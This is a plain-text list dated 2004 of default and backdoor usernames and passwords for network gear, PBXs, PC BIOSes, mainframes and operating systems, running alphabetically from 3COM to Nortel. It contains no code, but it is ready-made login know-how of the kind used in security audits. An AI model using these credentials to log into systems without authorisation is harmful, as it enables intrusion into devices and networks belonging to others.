2004年12月22日

3COM CellPlex 7000 Telnet tech tech


3COM CoreBuilder 7000/6000/3500/2500 Telnet debug synnet


3COM CoreBuilder 7000/6000/3500/2500 Telnet tech tech


3COM HiPerARC v4.1.x Telnet adm (none)


3COM LANplex 2500 Telnet debug synnet


3COM LANplex 2500 Telnet tech tech


3COM LinkSwitch 2000/2700 Telnet tech tech


3COM NetBuilder SNMP ANYCOM snmp-read


3COM NetBuilder SNMP ILMI snmp-read


3COM Office Connect ISDN Routers 5×0 Telnet n/a PASSWORD Admin


3COM SuperStack II Switch 2200 Telnet debug synnet


3COM SuperStack II Switch 2700 Telnet tech tech


3COM Telnet adm (none)


3COM Telnet admin synnet


3COM Telnet manager manager


3COM Telnet monitor monitor


3COM Telnet read synnet


3COM Telnet security security


3COM Telnet write synnet


3COM AirConnect Access Point 01.50-01 Multi n/a (none) Admin


3com OfficeConnect 812 ADSL Multi adminttd adminttd Admin


3com router Multi n/a (none) Admin


3com hub Multi n/a (none) Admin


3com Wireless AP ANY Multi admin comcomcom Admin Works on all 3com wireless APs


3COM LinkBuilder Telnet n/a (none) Admin


3COM CellPlex 7000 Telnet tech tech User


3com cellplex 7000 Telnet admin admin Admin


3com super stack II Console n/a (none) Admin


Accelerated Networks DSL CPE and DSLAM Telnet sysadm anicust


ADC Kentrox Pacesetter Router Telnet n/a secret


Adtran MX2800 Telnet n/a adtran


Advanced Integration PC BIOS Console n/a Advance Admin


Alcatel PBX 4400 Port 2533 kermit kermit unknown thanks to Nicolas Gregoire


Alcatel PBX 4400 Port 2533 dhs3mt dhs3mt unknown thanks to Nicolas Gregoire


Alcatel PBX 4400 Port 2533 at4400 at4400 unknown thanks to Nicolas Gregoire


Alcatel PBX 4400 Port 2533 mtch mtch unknown thanks to Nicolas Gregoire


Alcatel PBX 4400 Port 2533 mtcl mtcl unknown thanks to Nicolas Gregoire


Alcatel PBX 4400 Port 2533 root letacla unknown thanks to Nicolas Gregoire


Alcatel PBX 4400 Port 2533 dhs3pms dhs3pms unknown thanks to Nicolas Gregoire


Alcatel PBX 4400 Port 2533 adfexc adfexc unknown thanks to Nicolas Gregoire


Alcatel PBX 4400 Port 2533 client client unknown thanks to Nicolas Gregoire


Alcatel PBX 4400 Port 2533 install llatsni unknown thanks to Nicolas Gregoire


Alcatel PBX 4400 Port 2533 halt tlah unknown thanks to Nicolas Gregoire


Allied Telesyn Multi manager friend Admin


allied CJ8MO E-U Telnet (none) (none) Admin


Allied Telesyn Multi secoff secoff Admin


Allied Telesyn Switch AT-8124XL 1.0.3 Multi admin (none) Admin By Nicolas Gregoire


Alteon ACEDirector3 console admin (none)


Alteon ACEswitch 180e HTTP admin admin Admin


Alteon ACEswitch 180e Telnet admin (none)


AMI PC BIOS Console n/a amipswd Admin


AMI PC BIOS Console n/a AMISETUP Admin


AMI PC BIOS Console n/a BIOSPASS Admin


AMI PC BIOS Console n/a HEWITT RAND Admin


AMI PC BIOS Console n/a AM Admin


AMI PC BIOS Console n/a AMI Admin


AMI PC BIOS Console n/a A.M.I Admin


AMI PC BIOS Console n/a AMI_SW Admin


AMI PC BIOS Console n/a AMI?SW Admin


AMI PC BIOS Console n/a aammii Admin


AMI PC BIOS Console n/a AMI!SW Admin


AMI PC BIOS Console n/a AMI.KEY Admin


AMI PC BIOS Console n/a AMI.KEZ Admin


AMI PC BIOS Console n/a AMI~ Admin


AMI PC BIOS Console n/a AMIAMI Admin


AMI PC BIOS Console n/a AMIDECOD Admin


AMI PC BIOS Console n/a AMIPSWD Admin


Amptron PC BIOS Console n/a Polrty Admin


Asante IntraSwitch multi IntraSwitch Asante Admin


Asante IntraStack multi IntraStack Asante Admin


Ascend Yurie Multi readonly lucenttech2


Ascend Router Telnet n/a ascend Admin


Ascend Sahara Multi root ascend


Ascend Yurie Multi readwrite lucenttech1


AST PC BIOS Console n/a SnuFG5 Admin


ast powerexec 4/25sl Multi n/a (none) Admin


AT&T 3B2 Firmware Console n/a mcp Admin


Autodesk Autocad Multi autocad autocad User


Avaya Definity G3Si Multi craft (none) Admin


AVAYA g3R v6 Console root ROOT500 Admin


Avaya Definity G3Si Multi craft (none) Admin


Avaya Cajun Pxxx Multi root root Admin


AWARD PC BIOS Console n/a CONCAT Admin


AWARD PC BIOS Console n/a condo Admin


AWARD PC BIOS Console n/a CONDO Admin


AWARD PC BIOS Console n/a g6PJ Admin


AWARD PC BIOS Console n/a h6BB Admin


AWARD PC BIOS Console n/a HELGA-S Admin


AWARD PC BIOS Console n/a HEWITT RAND Admin


AWARD PC BIOS Console n/a HLT Admin


AWARD PC BIOS Console n/a j09F Admin


AWARD PC BIOS Console n/a j322 Admin


AWARD PC BIOS Console n/a j64 Admin


AWARD PC BIOS Console n/a lkw peter Admin


AWARD PC BIOS Console n/a lkwpeter Admin


AWARD PC BIOS Console n/a PASSWORD Admin


AWARD PC BIOS Console n/a SER Admin


AWARD PC BIOS Console n/a setup Admin


AWARD PC BIOS Console n/a SKY_FOX Admin


AWARD PC BIOS Console n/a SWITCHES_SW Admin


AWARD PC BIOS Console n/a Sxyz Admin


AWARD PC BIOS Console n/a SZYX Admin


AWARD PC BIOS Console n/a t0ch20x Admin


AWARD PC BIOS Console n/a t0ch88 Admin


AWARD PC BIOS Console n/a TTPTHA Admin


AWARD PC BIOS Console n/a TzqF Admin


AWARD PC BIOS Console n/a wodj Admin


AWARD PC BIOS Console n/a zbaaaca Admin


AWARD PC BIOS Console n/a Award Admin


AWARD PC BIOS Console n/a AWARD_SW Admin


AWARD PC BIOS Console n/a lkwpeter Admin


AWARD PC BIOS Console n/a LKWPETER Admin


AWARD PC BIOS Console n/a j262 Admin


AWARD PC BIOS Console n/a j256 Admin


AWARD PC BIOS Console n/a ?award Admin


AWARD PC BIOS Console n/a 01322222 Admin


AWARD v4.51PG v4.51PG Multi n/a SY_MB Admin It is useful and tested


AWARD PC BIOS Console n/a 256256 Admin


AWARD PC BIOS Console n/a admin Admin


AWARD PC BIOS Console n/a alfarome Admin


AWARD PC BIOS Console n/a aLLy Admin


AWARD PC BIOS Console n/a aPAf Admin


AWARD PC BIOS Console n/a award Admin


AWARD PC BIOS Console n/a awkward Admin


AWARD PC BIOS Console n/a BIOS Admin


AWARD PC BIOS Console n/a biosstar Admin


AWARD PC BIOS Console n/a biostar Admin


Axis NETCAM 200/240 Telnet root pass Admin


Bay Networks Switch 350T Telnet n/a NetICs Admin


Bay Networks SuperStack II Telnet security security Admin


Bay Networks Router Telnet User (none) User


Bay Networks Router Telnet Manager (none) Admin


BEA WebLogic https system weblogic Admin allow configuration of X509 certificates (Nicolas Gregoire)


Bintec Bianka Routers Multi admin bintec Admin


Biostar PC BIOS Console n/a Biostar Admin


Biostar PC BIOS Console n/a Q54arwms Admin


boson router simulator 3.66 Multi n/a (none) Admin


boson router simulator 3.66 Multi n/a (none) Admin


Breezecom Breezecom Adapters 3.x n/a Master Admin


Breezecom Breezecom Adapters 4.x n/a Super Admin


Breezecom Breezecom Adapters 2.x n/a laflaf Admin


Brother NC-3100h (none) access network board access


Brother NC-4100h (none) access network board access


Brother HL-1270n Multi n/a access network board access


Cabletron Netgear modem/router and SSR netman (none) Admin


Cabletron routers & switches (none) (none)


Cayman Cayman DSL n/a (none) Admin


Cayman Cayman DSL 3220-H } (none) Admin


Cisco IOS 12.1(3) SNMP n/a cable-docsis SNMP read-write might run on many Ciscos


Cisco IOS 11.x-12.x SNMP n/a ILMI limited READ/WRITE


Cisco CiscoWorks 2000 admin cisco Admin


Cisco CiscoWorks 2000 guest (none) User


CISCO Cache Engine Console admin diamond Admin


Cisco ConfigMaker cmaker cmaker Admin


Cisco IOS Multi cisco cisco


Cisco IOS Multi enable cisco IOS technically has no default pw


cisco cva 122 Telnet admin admin Admin


Cisco IOS 2600 series Multi n/a c but these are common misconfigurations


Cisco CNR All CNR GUI admin changeme Admin This is the default password for Cisco Network Registrar


Cisco IOS Multi n/a cc


Cisco IOS Multi n/a cisco


Cisco IOS Multi n/a Cisco router


Cisco Netranger/secure IDS Multi netrangr attack


Cisco-Arrowpoint Arrowpoint admin system Admin


Compaq PC BIOS Console n/a Compaq Admin


Compaq Insight Manager administrator administrator Admin


Compaq Insight Manager anonymous (none) User


Compaq Insight Manager user user User


Compaq Insight Manager operator operator


Compaq Insight Manager user public User


Compaq Insight Manager PFCUser 240653C9467E45 User


Computer Associates ControlIT ControlIT DEFAULT default Desktop/console access


Concord PC BIOS n/a last Admin


Crystalview OutsideView 32 Crystal Admin


CTX International PC BIOS Console n/a CTX_123 Admin


CyberMax PC BIOS Console n/a Congress Admin


D-Link hubs/switches Telnet D-Link D-Link


D-Link Cable/DSL Routers/Switches Multi (none) admin Admin Model: DI-704/DI-704P


Daewoo PC BIOS Console n/a Daewuu Admin


Dallas Semiconductors TINI embedded JAVA Module <= 1.0 Telnet root tini Admin


Datacom BSASX/101 n/a letmein Admin


Datawizard.net FTPXQ server FTP anonymous any@ read/write on c:\


Daytek PC BIOS Console n/a Daytec Admin


decnet decnet Multi operator admin Guest


Dell Latitude Bios D35B Multi n/a 1RRWTTOOI Admin


Dell CSr500xt Multi n/a admin Admin


dell inspiron Multi n/a admin Admin


Dell PC BIOS Console n/a Dell Admin


Demarc Network Monitor multi admin my_DEMARC Admin


Develcon Orbitor Default Console n/a BRIDGE Admin


Develcon Orbitor Default Console n/a password Admin


Dictaphone ProLog PBX PBX


Dictaphone ProLog NETWORK NETWORK


Dictaphone ProLog NETOP (none)


Digicorp Viper Telnet n/a BRIDGE Admin


Digicorp Viper Telnet n/a password Admin


Digital Equipment VMS Multi DEFAULT USER


Digital Equipment VMS Multi DEFAULT DEFAULT


Digital Equipment VMS Multi DEMO DEMO


Digital Equipment VMS Multi FIELD FIELD


Digital Equipment VMS Multi FIELD SERVICE


Digital Equipment VMS Multi FIELD TEST


Digital Equipment VMS Multi FIELD DIGITAL


Digital Equipment VMS Multi GUEST GUEST


Digital Equipment VMS Multi HELP HELP


Digital Equipment VMS Multi HELPDESK HELPDESK


Digital Equipment VMS Multi HOST HOST


Digital Equipment VMS Multi HOST HOST


Digital Equipment VMS Multi INFO INFO


Digital Equipment VMS Multi INGRES INGRES


Digital Equipment VMS Multi LINK LINK


Digital Equipment VMS Multi MAILER MAILER


Digital Equipment VMS Multi MBMANAGER MBMANAGER


Digital Equipment VMS Multi MBWATCH MBWATCH


Digital Equipment VMS Multi NETCON NETCON


Digital Equipment VMS Multi NETMGR NETMGR


Digital Equipment VMS Multi NETNONPRIV NETNONPRIV


Digital Equipment VMS Multi NETPRIV NETPRIV


Digital Equipment VMS Multi NETSERVER NETSERVER


Digital Equipment VMS Multi NETSERVER NETSERVER


Digital Equipment VMS Multi NETWORK NETWORK


Digital Equipment VMS Multi NEWINGRES NEWINGRES


Digital Equipment VMS Multi NEWS NEWS


Digital Equipment VMS Multi OPERVAX OPERVAX


Digital Equipment VMS Multi POSTMASTER POSTMASTER


Digital Equipment VMS Multi PRIV PRIV


Digital Equipment VMS Multi REPORT REPORT


Digital Equipment VMS Multi RJE RJE


Digital Equipment VMS Multi STUDENT STUDENT


Digital Equipment VMS Multi SYS SYS


Digital Equipment VMS Multi SYSMAINT SYSMAINT


Digital Equipment VMS Multi SYSMAINT SERVICE


Digital Equipment VMS Multi SYSMAINT DIGITAL


Digital Equipment VMS Multi SYSTEM SYSTEM


Digital Equipment VMS Multi SYSTEM MANAGER


Digital Equipment VMS Multi SYSTEM OPERATOR


Digital Equipment VMS Multi SYSTEM SYSLIB


Digital Equipment VMS Multi SYSTEST UETP


Digital Equipment VMS Multi SYSTEST_CLIG SYSTEST_CLIG


Digital Equipment VMS Multi SYSTEST_CLIG SYSTEST


Digital Equipment VMS Multi TELEDEMO TELEDEMO


Digital Equipment VMS Multi TEST TEST


Digital Equipment VMS Multi UETP UETP


Digital Equipment VMS Multi USER PASSWORD


Digital Equipment VMS Multi USERP USERP


Digital Equipment VMS Multi VAX VAX


Digital Equipment VMS Multi VMS VMS


Digital Equipment DEC-10 Multi 1 syslib Admin


Digital Equipment DEC-10 Multi 1 operator Admin


Digital Equipment DEC-10 Multi 1 manager Admin


Digital Equipment DEC-10 Multi 2 maintain Admin


Digital Equipment DEC-10 Multi 2 syslib Admin


Digital Equipment DEC-10 Multi 2 manager Admin


Digital Equipment DEC-10 Multi 2 operator Admin


Digital Equipment DEC-10 Multi 30 games User


Digital Equipment DEC-10 Multi 5 games User


Digital Equipment DEC-10 Multi 7 maintain User


Digital Equipment DecServer Multi n/a ACCESS Admin


Digital Equipment DecServer Multi n/a SYSTEM Admin


Digital Equipment IRIS Multi accounting accounting Admin


Digital Equipment IRIS Multi boss boss Admin


Digital Equipment IRIS Multi demo demo User


Digital Equipment IRIS Multi manager manager Admin


Digital Equipment IRIS Multi PDP11 PDP11 User


Digital Equipment IRIS Multi PDP8 PDP8 User


Digital Equipment IRIS Multi software software User


Digital Equipment PC BIOS Console n/a komprie Admin


Digital Equipment RSX Multi 1.1 SYSTEM Admin


Digital Equipment RSX Multi BATCH BATCH User


Digital Equipment RSX Multi SYSTEM MANAGER Admin


Digital Equipment RSX Multi SYSTEM SYSTEM Admin


Digital Equipment RSX Multi USER USER User


Digital Equipment Terminal Server Port 7000 n/a access User


Digital Equipment Terminal Server Port 7000 n/a system Admin


Digital Equipment VMS Multi ALLIN1 ALLIN1


Digital Equipment VMS Multi ALLIN1MAIL ALLIN1MAIL


Digital Equipment VMS Multi ALLINONE ALLINONE


Digital Equipment VMS Multi BACKUP BACKUP


Digital Equipment VMS Multi DCL DCL


Digital Equipment VMS Multi DECMAIL DECMAIL


Digital Equipment VMS Multi DECNET DECNET


Digital Equipment VMS Multi DECNET NONPRIV


Digital Equipment VMS Multi DECNET DECNET


Dynix Library Systems Dynix Multi SETUP (none) Admin


Dynix Library Systems Dynix Multi LIBRARY (none) User


Dynix Library Systems Dynix Multi circ User


Efficient Speedstream DSL Telnet n/a admin Admin


Efficient Networks Speedstream 5711 Teledanmark version (only .dk) Console n/a 4getme2 Admin for all your TDC router needs


Efficient Networks EN 5861 Telnet login admin Admin


Elsa LANCom Office ISDN Router 800/1000/1100 Telnet n/a cisco Admin


Elsa LANCom Office ISDN Router 800/1000/1100 Telnet n/a (none) Admin


enCAD XPO Multi n/a (none) Admin


Enox PC BIOS Console n/a xo11nE Admin


Epox PC BIOS Console n/a central Admin


Ericsson Ericsson Acc netman netman


ericsson md110 pabx up-to-bc9 Multi (none) help varies depending on config minimal list access by default


Extreme Networks Switches admin (none) Admin


Extreme Networks Swithces Multi admin (none) Admin submitted by Eastman Rivai


Extreme Networks Swithces Multi admin (none) Admin


Extreme Networks All Switches Multi admin (none) Admin Submitted by Eastman Rivai


Flowpoint 2200 SDSL Telnet admin admin Admin


Flowpoint DSL 2000 Telnet admin admin Admin


Flowpoint DSL Telnet n/a password Admin Installed by Covad


Flowpoint Flowpoint/2000 ADSL Telnet n/a (none) Admin


Flowpoint 100 IDSN Telnet admin admin Admin


Flowpoint 40 IDSL Telnet admin admin Admin


Freetech PC BIOS Console n/a Posterie Admin


Galacticomm Major BBS Multi Sysop Sysop Admin


glFtpD glFtpD all Console glftpd glftpd Admin


Hewlett-Packard HP 2000/3000 MPE/xx Multi MGR HPP187


Hewlett-Packard HP 2000/3000 MPE/xx Multi MGR HPP189


Hewlett-Packard HP 2000/3000 MPE/xx Multi MGR HPP196


Hewlett-Packard HP 2000/3000 MPE/xx Multi MGR INTX3


Hewlett-Packard HP 2000/3000 MPE/xx Multi MGR ITF3000


Hewlett-Packard HP 2000/3000 MPE/xx Multi MGR NETBASE


Hewlett-Packard HP 2000/3000 MPE/xx Multi MGR REGO


Hewlett-Packard HP 2000/3000 MPE/xx Multi MGR RJE


Hewlett-Packard HP 2000/3000 MPE/xx Multi MGR CONV


Hewlett-Packard HP 2000/3000 MPE/xx Multi OPERATOR SYS


Hewlett-Packard HP 2000/3000 MPE/xx Multi OPERATOR DISC


Hewlett-Packard HP 2000/3000 MPE/xx Multi OPERATOR SYSTEM


Hewlett-Packard HP 2000/3000 MPE/xx Multi OPERATOR SUPPORT


Hewlett-Packard HP 2000/3000 MPE/xx Multi OPERATOR COGNOS


Hewlett-Packard HP 2000/3000 MPE/xx Multi PCUSER SYS


Hewlett-Packard HP 2000/3000 MPE/xx Multi R**CMON SYS


Hewlett-Packard HP 2000/3000 MPE/xx Multi SPOOLMAN HPOFFICE


Hewlett-Packard HP 2000/3000 MPE/xx Multi WP HPOFFICE


Hewlett-Packard Vectra Console n/a hewlpack Admin


Hewlett-Packard HP 2000/3000 MPE/xx Multi ADVMAIL HPOFFICE DATA


Hewlett-Packard HP 2000/3000 MPE/xx Multi ADVMAIL HP


Hewlett-Packard HP 2000/3000 MPE/xx Multi FIELD SUPPORT


Hewlett-Packard HP 2000/3000 MPE/xx Multi FIELD MGR


Hewlett-Packard HP 2000/3000 MPE/xx Multi FIELD SERVICE


Hewlett-Packard HP 2000/3000 MPE/xx Multi FIELD MANAGER


Hewlett-Packard HP 2000/3000 MPE/xx Multi FIELD HPP187 SYS


Hewlett-Packard HP 2000/3000 MPE/xx Multi FIELD LOTUS


Hewlett-Packard HP 2000/3000 MPE/xx Multi FIELD HPWORD PUB


Hewlett-Packard HP 2000/3000 MPE/xx Multi FIELD HPONLY


Hewlett-Packard HP 2000/3000 MPE/xx Multi HELLO MANAGER.SYS


Hewlett-Packard HP 2000/3000 MPE/xx Multi HELLO MGR.SYS


Hewlett-Packard HP 2000/3000 MPE/xx Multi HELLO FIELD.SUPPORT


Hewlett-Packard HP 2000/3000 MPE/xx Multi HELLO OP.OPERATOR


Hewlett-Packard HP 2000/3000 MPE/xx Multi MAIL MAIL


Hewlett-Packard HP 2000/3000 MPE/xx Multi MAIL REMOTE


Hewlett-Packard HP 2000/3000 MPE/xx Multi MAIL TELESUP


Hewlett-Packard HP 2000/3000 MPE/xx Multi MAIL HPOFFICE


Hewlett-Packard HP 2000/3000 MPE/xx Multi MAIL MPE


Hewlett-Packard HP 2000/3000 MPE/xx Multi MANAGER TCH


Hewlett-Packard HP 2000/3000 MPE/xx Multi MANAGER SYS


Hewlett-Packard HP 2000/3000 MPE/xx Multi MANAGER SECURITY


Hewlett-Packard HP 2000/3000 MPE/xx Multi MANAGER ITF3000


Hewlett-Packard HP 2000/3000 MPE/xx Multi MANAGER HPOFFICE


Hewlett-Packard HP 2000/3000 MPE/xx Multi MANAGER COGNOS


Hewlett-Packard HP 2000/3000 MPE/xx Multi MANAGER TELESUP


Hewlett-Packard HP 2000/3000 MPE/xx Multi MGE VESOFT


Hewlett-Packard HP 2000/3000 MPE/xx Multi MGE VESOFT


Hewlett-Packard HP 2000/3000 MPE/xx Multi MGR SYS


Hewlett-Packard HP 2000/3000 MPE/xx Multi MGR CAROLIAN


Hewlett-Packard HP 2000/3000 MPE/xx Multi MGR VESOFT


Hewlett-Packard HP 2000/3000 MPE/xx Multi MGR XLSERVER


Hewlett-Packard HP 2000/3000 MPE/xx Multi MGR SECURITY


Hewlett-Packard HP 2000/3000 MPE/xx Multi MGR TELESUP


Hewlett-Packard HP 2000/3000 MPE/xx Multi MGR HPDESK


Hewlett-Packard HP 2000/3000 MPE/xx Multi MGR CCC


Hewlett-Packard HP 2000/3000 MPE/xx Multi MGR CNAS


Hewlett-Packard HP 2000/3000 MPE/xx Multi MGR WORD


Hewlett-Packard HP 2000/3000 MPE/xx Multi MGR COGNOS


Hewlett-Packard HP 2000/3000 MPE/xx Multi MGR ROBELLE


Hewlett-Packard HP 2000/3000 MPE/xx Multi MGR HPOFFICE


Hewlett-Packard HP 2000/3000 MPE/xx Multi MGR HPONLY


hp sa7200 Multi admin admin Admin


hp sa7200 Multi admin (none) Admin


IBM VM/CMS Multi DEMO2 (none)


IBM VM/CMS Multi DEMO3 (none)


IBM VM/CMS Multi DEMO4 (none)


IBM VM/CMS Multi DIRECT (none)


IBM VM/CMS Multi DIRMAINT (none)


IBM VM/CMS Multi DISKCNT (none)


IBM VM/CMS Multi EREP (none)


IBM VM/CMS Multi FSFADMIN (none)


IBM VM/CMS Multi FSFTASK1 (none)


IBM VM/CMS Multi FSFTASK2 (none)


IBM VM/CMS Multi GCS (none)


IBM VM/CMS Multi IDMS (none)


IBM VM/CMS Multi IDMSSE (none)


IBM VM/CMS Multi IIPS (none)


IBM VM/CMS Multi IPFSERV (none)


IBM VM/CMS Multi ISPVM (none)


IBM VM/CMS Multi IVPM1 (none)


IBM VM/CMS Multi IVPM2 (none)


IBM VM/CMS Multi MAINT (none)


IBM VM/CMS Multi MOESERV (none)


IBM VM/CMS Multi NEVIEW (none)


IBM VM/CMS Multi OLTSEP (none)


IBM VM/CMS Multi OP1 (none)


IBM VM/CMS Multi OPERATNS (none)


IBM VM/CMS Multi OPERATOR (none)


IBM VM/CMS Multi PDMREMI (none)


IBM VM/CMS Multi PENG (none)


IBM VM/CMS Multi PROCAL (none)


IBM VM/CMS Multi PRODBM (none)


IBM VM/CMS Multi PROMAIL (none)


IBM VM/CMS Multi PSFMAINT (none)


IBM VM/CMS Multi PVM (none)


IBM VM/CMS Multi RDM470 (none)


IBM VM/CMS Multi ROUTER (none)


IBM VM/CMS Multi RSCS (none)


IBM VM/CMS Multi RSCSV2 (none)


IBM VM/CMS Multi SAVSYS (none)


IBM VM/CMS Multi SFCMI (none)


IBM VM/CMS Multi SFCNTRL (none)


IBM VM/CMS Multi SMART (none)


IBM VM/CMS Multi SQLDBA (none)


IBM VM/CMS Multi SQLUSER (none)


IBM VM/CMS Multi SYSADMIN (none)


IBM VM/CMS Multi SYSCKP (none)


IBM VM/CMS Multi SYSDUMP1 (none)


IBM VM/CMS Multi SYSERR (none)


IBM VM/CMS Multi SYSWRM (none)


IBM VM/CMS Multi TDISK (none)


IBM VM/CMS Multi TEMP (none)


IBM VM/CMS Multi TSAFVM (none)


IBM VM/CMS Multi VASTEST (none)


IBM VM/CMS Multi VM3812 (none)


IBM VM/CMS Multi VMARCH (none)


IBM VM/CMS Multi VMASMON (none)


IBM VM/CMS Multi VMASSYS (none)


IBM VM/CMS Multi VMBACKUP (none)


IBM VM/CMS Multi VMBSYSAD (none)


IBM VM/CMS Multi VMMAP (none)


IBM VM/CMS Multi VMTAPE (none)


IBM VM/CMS Multi VMTLIBR (none)


IBM VM/CMS Multi VMUTIL (none)


IBM VM/CMS Multi VSEIPO (none)


IBM VM/CMS Multi VSEMAINT (none)


IBM VM/CMS Multi VSEMAN (none)


IBM VM/CMS Multi VTAM (none)


IBM VM/CMS Multi VTAMUSER (none)


IBM 8237 Multi I5rDv2b2JjA8Mm A52896nG93096a Admin


IBM 8225 Multi I5rDv2b2JjA8Mm A52896nG93096a Admin


IBM AIX Multi guest (none) User


IBM AIX Multi guest guest User


IBM Ascend OEM Routers Telnet n/a ascend Admin


IBM OS/400 Multi 11111111 11111111


IBM OS/400 Multi 22222222 22222222


IBM OS/400 Multi ibm password


IBM OS/400 Multi ibm 2222


IBM OS/400 Multi ibm service


IBM OS/400 Multi qpgmr qpgmr


IBM OS/400 Multi qsecofr qsecofr


IBM OS/400 Multi qsecofr 11111111


IBM A21m Multi n/a (none) Admin


IBM 390e Multi n/a admin Admin


ibm a20m Multi n/a admin Admin


IBM OS/400 Multi qsecofr 22222222


IBM OS/400 Multi qserv qserv


IBM OS/400 Multi qsrv qsrv


IBM OS/400 Multi qsrvbas qsrvbas


IBM OS/400 Multi qsvr qsvr


IBM OS/400 Multi qsvr ibmcel


IBM OS/400 Multi qsysopr qsysopr


IBM OS/400 Multi quser quser


IBM OS/400 Multi secofr secofr


IBM AIX 4.X Multi admin admin User


IBM PC BIOS Console n/a IBM Admin


IBM PC BIOS Console n/a MBIU0 Admin


IBM PC BIOS Console n/a sertafu Admin


ibm 600x Multi n/a admin Admin


IBM POS CMOS Console ESSEX


IBM POS CMOS Console IPC


IBM VM/CMS Multi $ALOC$ (none)


IBM VM/CMS Multi ADMIN (none)


IBM VM/CMS Multi AP2SVP (none)


IBM VM/CMS Multi APL2PP (none)


IBM VM/CMS Multi AUTOLOG1 (none)


IBM VM/CMS Multi BATCH (none)


IBM VM/CMS Multi BATCH1 (none)


IBM VM/CMS Multi BATCH2 (none)


IBM VM/CMS Multi CCC (none)


IBM VM/CMS Multi CM**ATCH (none)


IBM VM/CMS Multi CMSUSER (none)


IBM VM/CMS Multi CPNUC (none)


IBM VM/CMS Multi CPRM (none)


IBM VM/CMS Multi CSPUSER (none)


IBM VM/CMS Multi CVIEW (none)


IBM VM/CMS Multi DATAMOVE (none)


IBM VM/CMS Multi DEMO1 (none)


Intel Shiva Multi root (none) Admin


Intel Express 9520 Router Multi NICONEX NICONEX User


Intel Shiva Lanrovers Multi root (none) Admin


Intel Shiva Multi Guest (none) User


intel NetporrExpress Multi (none) (none) Admin


Intel Express 520T Switch Multi setup setup User


intel lan rover 6.7 Console root admin Admin


Interbase Interbase Database Server All Multi SYSDBA masterkey Admin


intex organizer Multi n/a (none) Admin


iso sistemi winwork Multi n/a (none) Admin


Iwill PC BIOS Console n/a iwill Admin


JD Edwards WorldVision/OneWorld All(?) Console JDE JDE Admin/SECOFR


JDS Microprocessing Hydra 3000 r2.02 Console hydrasna (none) Admin http://www.hydrasystems.com/h3kdocs/H3R25C04.pdf


Jetform Jetform Design HTTP Jetform (none) Admin


JetWay PC BIOS Console n/a spooml Admin


Joss Technology PC BIOS Console n/a technolgi Admin


Joss Technology PC BIOS Console n/a 57gbzb Admin


kaptest usmle HTTP admin (none) Admin


Kyocera EcoLink 7.2 HTTP n/a PASSWORD Admin


Kyocera Telnet Server IB-20/21 multi root root Admin


Lantronics Lantronics Terminal Server TCP 7000 n/a access Admin


Lantronics Lantronics Terminal Server TCP 7000 n/a system Admin


Lantronix Lantronix Terminal TCP 7000 n/a lantronix Admin


Leading Edge PC BIOS Console n/a MASTER Admin


Linksys DSL Telnet n/a admin Admin


Linksys EtherFast Cable/DSL ROuter Multi Administrator admin Admin


Linksys Linksys Router DSL/Cable HTTP (none) admin Admin


Linux Slackware Multi snake (none) User


Linux Slackware Multi satan (none) User


Linux UCLinux for UCSIMM Multi root uClinux Admin


Linux Slackware Multi gonzo (none) User


Livingston IRX Router Telnet !root (none)


Livingston Livingston Portmaster 3 Telnet !root (none)


Livingston Officerouter Telnet !root (none)


Lucent System 75 Multi browse looker


Lucent System 75 Multi craft craft


Lucent System 75 Multi craft craftpw


Lucent System 75 Multi craft craftpw


Lucent System 75 Multi cust custpw


Lucent System 75 Multi enquiry enquirypw


Lucent System 75 Multi field support


Lucent System 75 Multi inads indspw


Lucent System 75 Multi inads indspw


Lucent System 75 Multi inads inads


Lucent System 75 Multi init initpw


Lucent System 75 Multi locate locatepw


Lucent System 75 Multi maint maintpw


Lucent System 75 Multi maint rwmaint


Lucent System 75 Multi nms nmspw


Lucent System 75 Multi rcust rcustpw


Lucent System 75 Multi support supportpw


Lucent System 75 Multi tech field


Lucent B-STDX9000 Multi (any 3 characters) cascade


Lucent B-STDX9000 debug mode n/a cascade


Lucent B-STDX9000 SNMP readwrite n/a cascade


Lucent CBX 500 Multi (any 3 characters) cascade


Lucent CBX 500 debug mode n/a cascade


Lucent CBX 500 SNMP readwrite n/a cascade


Lucent GX 550 Multi (any 3 characters) cascade


Lucent GX 550 debug mode n/a cascade


Lucent GX 550 SNMP readwrite n/a cascade


Lucent MAX-TNT Multi admin Ascend


Lucent PSAX 1200 and below Multi root ascend


Lucent PSAX 1250 and above Multi readwrite lucenttech1


Lucent PSAX 1250 and above Multi readonly lucenttech2


Lucent System 75 Multi bciim bciimpw


Lucent System 75 Multi bcim bcimpw


Lucent System 75 Multi bcms bcmspw


Lucent System 75 Multi bcms bcmspw


Lucent System 75 Multi bcnas bcnaspw


Lucent System 75 Multi blue bluepw


Lucent System 75 Multi browse browsepw


M Technology PC BIOS Console n/a mMmM Admin


MachSpeed PC BIOS Console n/a sp99dd Admin


Macromedia Dreamweaver FTP n/a admin Guest


Magic-Pro PC BIOS Console n/a prost Admin


Megastar PC BIOS Console n/a star Admin


Mentec Micro/RSX Multi MICRO RSX Admin


MERCURY 234234 234234 SNMP Administrator admin Admin


MERCURY KT133A/686B SNMP Administrator admin Admin


Micron PC BIOS Console n/a sldkj754 Admin


Micron PC BIOS Console n/a xyzall Admin


Micronics PC BIOS Console n/a dn_04rjc Admin


Microplex Print Server Telnet root root Admin


microRouter 900i Console/Multi n/a letmein Admin


Microsoft Windows NT Multi Guest (none) User


Microsoft Windows NT Multi User User User


Microsoft SQL Server Multi sa (none)


Microsoft Windows NT Multi Guest Guest User


Microsoft Windows NT Multi IS_$hostname (same) User hostname = your server name


Microsoft Windows NT Multi (null) (none) User Redbutton Hole


Microsoft Windows NT Multi Administrator Administrator Admin


Microsoft Windows NT Multi Administrator (none) Admin


Mintel Mintel PBX n/a SYSTEM Admin


Motorola Cablerouter Telnet cablecom router Admin


mro software maximo v4.1 Multi SYSADM sysadm Admin


NCR NCR UNIX Multi ncrm ncrm Admin


Netgear RT314 HTTP and Telnet admin 1234 Admin


NetGenesis NetAnalysis Web Reporting HTTP naadmin naadmin Admin


Netopia Netopia 9500 Telnet netopia netopia Admin


Netopia Netopia 7100 Telnet (none) (none) Admin


Netport Express 10/100 multi setup setup Admin


Netscreen ns-25 Multi n/a (none) Admin


Netscreen Firewall multi netscreen netscreen Admin


NeXT NeXTStep Multi signa signa User


NeXT NeXTStep Multi me (none) User


NeXT NeXTStep Multi root NeXT Admin


Nimble PC BIOS Console n/a xdfk9874t3 Admin


Nortel Meridian Link Multi disttech 4tas engineer account


Nortel Meridian Link Multi maint maint Maintenance account


Nortel Meridian Link Multi mlusr mlusr user account


Nortel Remote Office 9150 Client admin root Admin


